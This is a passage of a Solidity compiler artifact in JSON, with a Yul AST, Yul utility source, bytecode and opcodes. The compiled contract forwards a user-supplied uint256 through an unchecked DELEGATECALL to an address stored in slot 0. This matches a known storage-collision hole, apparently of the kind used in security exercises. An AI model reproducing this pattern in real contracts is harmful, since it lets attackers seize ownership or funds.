{
"kind": "number",
"nodeType": "YulLiteral",
"src": "931:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "916:3:1"
},
"nodeType": "YulFunctionCall",
"src": "916:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "908:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "988:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1001:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1012:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "997:3:1"
},
"nodeType": "YulFunctionCall",
"src": "997:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "944:43:1"
},
"nodeType": "YulFunctionCall",
"src": "944:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "944:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "870:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "882:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "893:4:1",
"type": ""
}
],
"src": "800:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1068:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1078:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1094:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "1088:5:1"
},
"nodeType": "YulFunctionCall",
"src": "1088:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1078:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1061:6:1",
"type": ""
}
],
"src": "1028:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1198:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1215:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1218:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1208:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1208:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1208:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "1109:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1321:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1338:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1341:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1331:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1331:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1331:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "1232:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1398:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1455:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1464:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1467:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1457:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1457:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1457:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1421:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1446:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1428:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1428:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1418:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1418:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1411:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1411:43:1"
},
"nodeType": "YulIf",
"src": "1408:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1391:5:1",
"type": ""
}
],
"src": "1355:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1535:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1545:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1567:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "1554:12:1"
},
"nodeType": "YulFunctionCall",
"src": "1554:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1545:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1610:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "1583:26:1"
},
"nodeType": "YulFunctionCall",
"src": "1583:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "1583:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1513:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1521:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1529:5:1",
"type": ""
}
],
"src": "1483:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1694:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1740:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1742:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1742:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1742:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1715:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1724:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1711:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1711:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1736:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1707:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1707:32:1"
},
"nodeType": "YulIf",
"src": "1704:119:1"
},
{
"nodeType": "YulBlock",
"src": "1833:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1848:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1862:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1852:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1877:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1912:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1923:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1908:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1908:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1932:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "1887:20:1"
},
"nodeType": "YulFunctionCall",
"src": "1887:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1877:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1664:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1675:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1687:6:1",
"type": ""
}
],
"src": "1628:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2021:40:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2032:22:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2048:5:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "2042:5:1"
},
"nodeType": "YulFunctionCall",
"src": "2042:12:1"
},
"variableNames": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2032:6:1"
}
]
}
]
},
"name": "array_length_t_bytes_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2004:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2014:6:1",
"type": ""
}
],
"src": "1963:98:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2180:34:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2190:18:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2205:3:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "2190:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2152:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2157:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "2168:11:1",
"type": ""
}
],
"src": "2067:147:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2269:258:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "2279:10:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "2288:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "i",
"nodeType": "YulTypedName",
"src": "2283:1:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "2348:63:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "2373:3:1"
},
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "2378:1:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2369:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2369:11:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "2392:3:1"
},
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "2397:1:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2388:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2388:11:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "2382:5:1"
},
"nodeType": "YulFunctionCall",
"src": "2382:18:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2362:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2362:39:1"
},
"nodeType": "YulExpressionStatement",
"src": "2362:39:1"
}
]
},
"condition": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "2309:1:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2312:6:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "2306:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2306:13:1"
},
"nodeType": "YulForLoop",
"post": {
"nodeType": "YulBlock",
"src": "2320:19:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2322:15:1",
"value": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "2331:1:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2334:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2327:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2327:10:1"
},
"variableNames": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "2322:1:1"
}
]
}
]
},
"pre": {
"nodeType": "YulBlock",
"src": "2302:3:1",
"statements": []
},
"src": "2298:113:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2445:76:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "2495:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2500:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2491:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2491:16:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2509:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2484:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2484:27:1"
},
"nodeType": "YulExpressionStatement",
"src": "2484:27:1"
}
]
},
"condition": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "2426:1:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2429:6:1"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "2423:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2423:13:1"
},
"nodeType": "YulIf",
"src": "2420:101:1"
}
]
},
"name": "copy_memory_to_memory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nodeType": "YulTypedName",
"src": "2251:3:1",
"type": ""
},
{
"name": "dst",
"nodeType": "YulTypedName",
"src": "2256:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2261:6:1",
"type": ""
}
],
"src": "2220:307:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2641:265:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "2651:52:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2697:5:1"
}
],
"functionName": {
"name": "array_length_t_bytes_memory_ptr",
"nodeType": "YulIdentifier",
"src": "2665:31:1"
},
"nodeType": "YulFunctionCall",
"src": "2665:38:1"
},
"variables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2655:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "2712:95:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2795:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2800:6:1"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "2719:75:1"
},
"nodeType": "YulFunctionCall",
"src": "2719:88:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2712:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2842:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2849:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2838:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2838:16:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2856:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2861:6:1"
}
],
"functionName": {
"name": "copy_memory_to_memory",
"nodeType": "YulIdentifier",
"src": "2816:21:1"
},
"nodeType": "YulFunctionCall",
"src": "2816:52:1"
},
"nodeType": "YulExpressionStatement",
"src": "2816:52:1"
},
{
"nodeType": "YulAssignment",
"src": "2877:23:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2888:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2893:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2884:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2884:16:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2877:3:1"
}
]
}
]
},
"name": "abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2622:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2629:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2637:3:1",
"type": ""
}
],
"src": "2533:373:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3046:137:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3057:100:1",
"value": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "3144:6:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3153:3:1"
}
],
"functionName": {
"name": "abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "3064:79:1"
},
"nodeType": "YulFunctionCall",
"src": "3064:93:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3057:3:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "3167:10:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3174:3:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3167:3:1"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_bytes_memory_ptr__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3025:3:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "3031:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3042:3:1",
"type": ""
}
],
"src": "2912:271:1"
}
]
},
"contents": "{\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function abi_encode_tuple_t_address__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function array_length_t_bytes_memory_ptr(value) -> length {\n\n length := mload(value)\n\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function copy_memory_to_memory(src, dst, length) {\n let i := 0\n for { } lt(i, length) { i := add(i, 32) }\n {\n mstore(add(dst, i), mload(add(src, i)))\n }\n if gt(i, length)\n {\n // clear end\n mstore(add(dst, length), 0)\n }\n }\n\n function abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(value, pos) -> end {\n let length := array_length_t_bytes_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length)\n copy_memory_to_memory(add(value, 0x20), pos, length)\n end := add(pos, length)\n }\n\n function abi_encode_tuple_packed_t_bytes_memory_ptr__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed(pos , value0) -> end {\n\n pos := abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(value0, pos)\n\n end := pos\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b506004361061004c5760003560e01c80638da5cb5b14610051578063928012301461006f578063931c9b991461008d578063a6b206bf146100ab575b600080fd5b6100596100c7565b6040516100669190610270565b60405180910390f35b6100776100ed565b6040516100849190610270565b60405180910390f35b610095610111565b6040516100a291906102a4565b60405180910390f35b6100c560048036038101906100c091906102f0565b610117565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405160240161015f91906102a4565b6040516020818303038152906040527fa6b206bf000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101e99190610397565b600060405180830381855af49150503d8060008114610224576040519150601f19603f3d011682016040523d82523d6000602084013e610229565b606091505b50505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061025a8261022f565b9050919050565b61026a8161024f565b82525050565b60006020820190506102856000830184610261565b92915050565b6000819050919050565b61029e8161028b565b82525050565b60006020820190506102b96000830184610295565b92915050565b600080fd5b6102cd8161028b565b81146102d857600080fd5b50565b6000813590506102ea816102c4565b92915050565b600060208284031215610306576103056102bf565b5b6000610314848285016102db565b91505092915050565b600081519050919050565b600081905092915050565b60005b83811015610351578082015181840152602081019050610336565b83811115610360576000848401525b50505050565b60006103718261031d565b61037b8185610328565b935061038b818560208601610333565b80840191505092915050565b60006103a38284610366565b91508190509291505056fea26469706673582212201be155d7e91ff4803c131fae9def0f36159190271e70b83ecdca3a14bba7cfac64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4C JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x8DA5CB5B EQ PUSH2 0x51 JUMPI DUP1 PUSH4 0x92801230 EQ PUSH2 0x6F JUMPI DUP1 PUSH4 0x931C9B99 EQ PUSH2 0x8D JUMPI DUP1 PUSH4 0xA6B206BF EQ PUSH2 0xAB JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x59 PUSH2 0xC7 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x66 SWAP2 SWAP1 PUSH2 0x270 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x77 PUSH2 0xED JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x84 SWAP2 SWAP1 PUSH2 0x270 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x95 PUSH2 0x111 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0xA2 SWAP2 SWAP1 PUSH2 0x2A4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xC5 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xC0 SWAP2 SWAP1 PUSH2 0x2F0 JUMP JUMPDEST PUSH2 0x117 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x2 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 PUSH1 0x40 MLOAD PUSH1 0x24 ADD PUSH2 0x15F SWAP2 SWAP1 PUSH2 0x2A4 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE PUSH32 0xA6B206BF00000000000000000000000000000000000000000000000000000000 PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF NOT AND PUSH1 0x20 DUP3 ADD DUP1 MLOAD PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP4 DUP2 DUP4 AND OR DUP4 MSTORE POP POP POP POP PUSH1 0x40 MLOAD PUSH2 0x1E9 SWAP2 SWAP1 PUSH2 0x397 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 GAS DELEGATECALL SWAP2 POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x224 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x229 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x25A DUP3 PUSH2 0x22F JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x26A DUP2 PUSH2 0x24F JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x285 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x261 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x29E DUP2 PUSH2 0x28B JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2B9 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x295 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x2CD DUP2 PUSH2 0x28B JUMP JUMPDEST DUP2 EQ PUSH2 0x2D8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x2EA DUP2 